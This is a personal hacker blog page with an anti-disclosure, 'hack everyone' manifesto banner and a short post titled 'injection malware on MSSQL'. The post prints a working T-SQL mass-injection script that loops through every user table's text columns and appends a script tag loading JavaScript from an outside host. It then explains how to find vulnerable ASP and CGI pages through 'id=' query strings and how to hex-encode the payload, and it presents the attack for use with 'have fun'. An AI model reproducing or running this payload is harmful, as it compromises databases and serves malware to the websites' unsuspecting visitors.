_____  __     _____  ___    _____  ___    _____  _____  _____  _____  _____  _____    _____  _____    ____   _____  _ _ _  _____ 
|   __||  |   |  |  ||_  |  |   | || | |  |   __||   __|| __  ||  |  ||   __|| __  |  |     ||   __|  |    \ |     || | | ||   | |
|   __||  |__ |  |  | _| |_ | | | ||_  |  |__   ||   __||    -||  |  ||   __||    -|  |-   -||__   |  |  |  ||  |  || | | || | | |
|_____||_____| \___/ |_____||_|___|  |_|  |_____||_____||__|__| \___/ |_____||__|__|  |_____||_____|  |____/ |_____||_____||_|___|
               I DONT WANT TO BE FAME , I DONT WANT TO BE ANY EZINE , I JUST WANT TO SHARE KNOWLEDGE 

	 						
							                                  , ----.       ~ Fuck full-disclosure
							                              -  -     `        ~ Fuck the security industry
							                        ,__.,'           \      ~ Keep 0days private
							                      .'                 *`     ~ Hack everyone you can and then hack some more
							                     /       |   |     / **\    ~ Blend in.
							                    .                 / ****.   ~ Get trusted.
							                    |    mm           | ****|   ~ Trust no one.
							                     \                | ****|   ~ Own everyone.
							                      ` ._______      \ ****/   ~ Disclose nothing.
							                               \      /`---'    ~ Destroy everything.
							                                 \___(          ~ Take back the scene
							                                 /~~~~\         ~ Never sell out, never surrender.
							                                /      \        ~ Get in as anonymous, Leave with no trace.
							                               /      | \       ~ This your Fucking IP 
							                              |       |  \      ~ This your Fucking ISP  
							                    , ~~ .    |, ~~ . |  |\     ~ FUCK OFF I've got enough friends !!!!
							                   ( |||| )   ( |||| )(,,,)`    
							                  ( |||||| )-( |||||| )    | ^
							                  ( |||||| ) ( |||||| )    |'/
							                  ( |||||| )-( |||||| )___,'-
							                   ( |||| )   ( |||| )
							                    ` ~~ '     ` ~~ '











 



    

      
[ Blog ]

      
      
[ History ]

    

    

      

      







injection malware on MSSQL







Now we can use Malware to push small vulnerability on web page, It is likely that such a zombie fires the series of injection attempts continuously and conditionally until the malicious script references are sensed on the targeted webpage



============= snip ============================



declare @T varhar(255)

declare @C varhar(255)



declare Table_Cursor CURSOR FOR

seLeCt [A].[Name], [b].[Name]

FROM sysobjects AS [A], syscolumns AS [b]

wHeRe [A].[ID] = [b].[ID] AND



[A].[XType] = ‘U’ /* Table (User-Defined) */ AND

([b].[XType] = 99 /* NTEXT */ OR

[b].[XType] = 35 /* TEXT */ OR

[b].[XType] = 231 /* SYSNAME */ OR

[b].[XType] = 167 /* varhar */)



OPEN Table_Cursor

FETCH NEXT FROM Table_Cursor INTO @T,@C



WHILE (@@FETCH_STATUS = 0)



bEGiN

EXEC(‘UPDATE [‘ + @T + ‘] SET [‘ + @C + ‘] = RTRIM(CONVERT(varhar, [‘ + @C + ‘])) + ”<script



src=”http://www.realpoor.com/wink/testmal.js”></script>”’)

FETCH NEXT FROM Table_Cursor INTO @T, @C

END



CLOSE Table_Cursor

DEALLOCATE Table_Cursor



============= snip ============================



maybe some attackers use this for g0t some sperm . haha² . i’m just kinda

So essentially what happened was that the attackers looked for ASP, ASPX , CGI, PL , pages containing any type of querystring ” product.asp?id= , index.asp?id= , customers.cgi?id=, ” parameter and tried to use that to upload their SQLi code and don’t forget to encode this code to hex



have fun ;)



thanks



./me






On 12/5/05 at 

12:54 PM






      




My Profile:

      
      


        


Biography:




short story:


      




      

      

      
      
[ Friends Link ]

      
      
[ chat with me ]


      

      

      

      

      




      












            		
      

    

      
      
[ archives ]

      

      
[ Notices ]


    

    

      

      


By title


injection malware on MSSQL



By month

2002.03

2002.12

2005.12

2008.11

2009.02

2009.03

2009.04

2009.05

2009.06

2009.07

2009.08

2009.09

2009.10

2009.11

2009.12

2010.01

2010.03


		
	





			
		
		
				

      
      





       

    


  

  





  

  

    


      
      
elv1n4 Themes  v2.0.0  © 2009 by elv1n4 


    

  

www[dot]elv1n4.anti-sec[dot]org